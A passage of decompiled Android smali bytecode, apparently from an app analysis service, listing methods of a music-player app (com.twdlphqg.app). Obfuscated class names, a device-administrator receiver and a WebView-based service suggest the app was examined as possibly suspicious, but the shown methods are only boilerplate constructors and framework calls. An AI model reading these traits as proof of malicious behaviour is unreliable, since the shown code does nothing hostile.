5invoke-super {p0, p1, p2, p3}, Landroid/support/v4/app/Fragment;->onCreateContextMenu(Landroid/view/ContextMenu;Landroid/view/View;Landroid/view/ContextMenu$ContextMenuInfo;)V
6return-void
APIs
  • android.support.v4.app.Fragment.onCreateContextMenu
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/ContextMenu;
1.param p2, "v" # Landroid/view/View;
2.param p3, "menuInfo" # Landroid/view/ContextMenu$ContextMenuInfo;
3.prologue
5invoke-super {p0, p1, p2, p3}, Landroid/support/v4/app/Fragment;->onCreateContextMenu(Landroid/view/ContextMenu;Landroid/view/View;Landroid/view/ContextMenu$ContextMenuInfo;)V
6return-void
APIs
  • android.support.v4.app.Fragment.onAttach
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/Fragment;->onAttach(Landroid/app/Activity;)V
4check-cast p1, Lcom/twdlphqg/app/interfaces/TrackInQueueFragmentComunicator;
5iput-object p1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->listener:Lcom/twdlphqg/app/interfaces/TrackInQueueFragmentComunicator;
6return-void
APIs
  • android.support.v4.app.Fragment.onCreateContextMenu
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/ContextMenu;
1.param p2, "v" # Landroid/view/View;
2.param p3, "menuInfo" # Landroid/view/ContextMenu$ContextMenuInfo;
3.prologue
5invoke-super {p0, p1, p2, p3}, Landroid/support/v4/app/Fragment;->onCreateContextMenu(Landroid/view/ContextMenu;Landroid/view/View;Landroid/view/ContextMenu$ContextMenuInfo;)V
6return-void
Cross References
APIs
  • android.media.MediaPlayer.getCurrentPosition
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
4invoke-virtual {v0}, Landroid/media/MediaPlayer;->getCurrentPosition()I
5move-result v0
6return v0
Cross References
APIs
  • android.media.MediaPlayer.getDuration
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
4invoke-virtual {v0}, Landroid/media/MediaPlayer;->getDuration()I
5move-result v0
6return v0
Cross References
APIs
  • android.media.MediaPlayer.seekTo
Position Instruction Meta Information
0.param p1, "pos" # I
1.prologue
3iget-object v0, p0, Lcom/twdlphqg/app/services/AudioPlayerService;->mediaPlayer:Landroid/media/MediaPlayer;
5invoke-virtual {v0, p1}, Landroid/media/MediaPlayer;->seekTo(I)V
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
2iput p2, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->val$index:I
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • android.os.ResultReceiver.<init>
Position Instruction Meta Information
0.param p2, "handler" # Landroid/os/Handler;
1.prologue
2iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$CustomResultReceiver;->this$0:Lcom/twdlphqg/app/PlayerActivity;
4invoke-direct {p0, p2}, Landroid/os/ResultReceiver;-><init>(Landroid/os/Handler;)V
5return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;-><init>()V
3const/4 v0, 0x0
4iput-object v0, p0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/business/Ultils$1;->val$tracks:Ljava/util/ArrayList;
2iput-object p2, p0, Lcom/twdlphqg/app/business/Ultils$1;->val$context:Landroid/content/Context;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • com.twdlphqg.app.conf.Rmlsgfvgbscu.snewxwriS
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu$1;->this$0:Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;
4invoke-virtual {v0}, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;->snewxwriS()V
5return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.prologue
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4iput-object p1, p0, Lcom/twdlphqg/app/factory/ExplorationTabFactory;->context:Landroid/content/Context;
5return-void
Cross References
APIs
  • android.support.v4.app.Fragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/Fragment;-><init>()V
3const/4 v0, 0x0
4iput v0, p0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->trackIndex:I
5return-void
Cross References
APIs
  • android.support.v4.app.DialogFragment.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v4/app/DialogFragment;-><init>()V
3const/4 v0, 0x0
4iput-object v0, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->inputText:Landroid/widget/EditText;
5return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onEnabled
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
5return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3const/4 v0, 0x1
4iput v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->i:I
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$2;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$2;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$2;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.support.v7.app.ActionBarActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Landroid/support/v7/app/ActionBarActivity;->onCreateView(Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/ExplorationActivity$1;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/ExplorationActivity$2;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/ExplorationActivity$3;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/ExplorationActivity$4$1;->this$1:Lcom/twdlphqg/app/ExplorationActivity$4;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/ExplorationActivity$4;->this$0:Lcom/twdlphqg/app/ExplorationActivity;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onConfigurationChanged
Position Instruction Meta Information
0.param p1, "newConfig" # Landroid/content/res/Configuration;
1.prologue
3invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onConfigurationChanged(Landroid/content/res/Configuration;)V
4return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3, p4}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Landroid/view/View;Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$1;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$2;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$3$1;->this$1:Lcom/twdlphqg/app/PlayerActivity$3;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$3;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$4;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$5;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$6;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$7;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/PlayerActivity$8;->this$0:Lcom/twdlphqg/app/PlayerActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.PlayerActivity.getPageFragments
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/twdlphqg/app/PlayerActivity;->getPageFragments()Ljava/util/ArrayList;
3move-result-object v0
4return-object v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3, p4}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Landroid/view/View;Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onNewIntent
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
3invoke-super {p0, p1}, Lcom/twdlphqg/app/ActionBarParentActivity;->onNewIntent(Landroid/content/Intent;)V
4return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3, p4}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Landroid/view/View;Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/SplashActivity$1;->this$0:Lcom/twdlphqg/app/SplashActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.view.GestureDetector$SimpleOnGestureListener.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/TouchInterceptor$1;->this$0:Lcom/twdlphqg/app/TouchInterceptor;
3invoke-direct {p0}, Landroid/view/GestureDetector$SimpleOnGestureListener;-><init>()V
4return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3, p4}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Landroid/view/View;Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onCreateView
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Lcom/twdlphqg/app/ActionBarParentActivity;->onCreateView(Ljava/lang/String;Landroid/content/Context;Landroid/util/AttributeSet;)Landroid/view/View;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu$1;->this$0:Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.AlbumArtFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/AlbumArtFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;-><init>()V
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/AlbumFragment$1;->this$0:Lcom/twdlphqg/app/fragments/AlbumFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.AlbumFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/AlbumFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/AlbumFragment;-><init>()V
4return-object v0
APIs
  • android.support.v4.app.Fragment.onAttach
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/Fragment;->onAttach(Landroid/app/Activity;)V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/ArtistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/ArtistFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.ArtistFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/ArtistFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/ArtistFragment;-><init>()V
4return-object v0
APIs
  • android.support.v4.app.Fragment.onAttach
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/Fragment;->onAttach(Landroid/app/Activity;)V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;-><init>()V
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;-><init>()V
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$2;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;->this$0:Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;-><init>()V
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/PlaylistFragment$1;->this$0:Lcom/twdlphqg/app/fragments/PlaylistFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.PlaylistFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/PlaylistFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/PlaylistFragment;-><init>()V
4return-object v0
APIs
  • android.support.v4.app.Fragment.onAttach
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v4/app/Fragment;->onAttach(Landroid/app/Activity;)V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.TrackFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/TrackFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/TrackFragment;-><init>()V
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$1;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment$2;->this$0:Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.fragments.TrackInQueueFragment.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
3invoke-direct {v0}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;-><init>()V
4return-object v0
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/services/AudioPlayerService$1;->this$0:Lcom/twdlphqg/app/services/AudioPlayerService;
3invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
4return-void
Cross References
APIs
  • android.os.Binder.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/services/AudioPlayerService$PlayerBinder;->this$0:Lcom/twdlphqg/app/services/AudioPlayerService;
3invoke-direct {p0}, Landroid/os/Binder;-><init>()V
4return-void
Cross References
APIs
  • com.twdlphqg.app.services.AudioPlayerService.stopForeground
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x1
3invoke-virtual {p0, v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->stopForeground(Z)V
  • Data flow analysis:
    • removeNotification: 1
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$1;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$3;->this$0:Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
Cross References
APIs
  • android.support.v4.app.FragmentStatePagerAdapter.notifyDataSetChanged
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/support/v4/app/FragmentStatePagerAdapter;->notifyDataSetChanged()V
3return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.supportInvalidateOptionsMenu
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->supportInvalidateOptionsMenu()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onDestroy()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.stopDragging
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/twdlphqg/app/TouchInterceptor;->stopDragging()V
3return-void
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.unExpandViews
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p1}, Lcom/twdlphqg/app/TouchInterceptor;->unExpandViews(Z)V
3return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
